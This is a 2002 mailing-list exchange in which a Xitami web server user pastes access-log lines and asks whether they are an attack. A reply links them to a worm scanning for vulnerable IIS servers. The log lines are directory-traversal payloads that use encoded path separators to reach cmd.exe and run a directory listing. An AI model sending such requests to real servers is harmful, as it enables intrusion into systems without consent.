[Xitami] hack attack or just ignorance?

[Gregory Hart]

Yeah, I got that when I first set up Xitami. I did a simple little search on
Yahoo! and this site explains everything:
http://www.securityspace.com/smysecure/w32_nmda_amm.html. Apparently, your
server was scanned by either a virus or another web site to see if it was
running the version of IIS with security risks. You should be safe using
Xitami since it sent out 404 errors.
-Greg

----- Original Message -----
From: "Michael Bronder" <bronder@attbi.com>
To: "Xitami@Lists. Xitami. Org" <xitami@lists.xitami.org>
Sent: Thursday, April 11, 2002 7:11 PM
Subject: [Xitami] hack attack or just ignorance?


I'm not a hard core user, and I just went to browse through my logs
directory and found ALOT of lines like the ones below.  Now, the likely hood
of anyone accessing my sight (archaetext.com) is very slight as I haven't
told anyone about it.

These aren't malicious attempts are they?  Perl.exe mysteriously disappeared
from my machine recently.

Am I missing a basic security setting or something?

Thanks,

mb

24.128.19.74 - - [10/Apr/2002:23:54:53 -0500] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
24.128.19.74 - - [10/Apr/2002:23:54:57 -0500] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
24.128.19.74 - - [10/Apr/2002:23:54:58 -0500] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
24.128.19.74 - - [10/Apr/2002:23:55:02 -0500] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
24.128.19.74 - - [10/Apr/2002:23:55:03 -0500] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0


--
Xitami Users Mailing List -- For Xitami support
To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami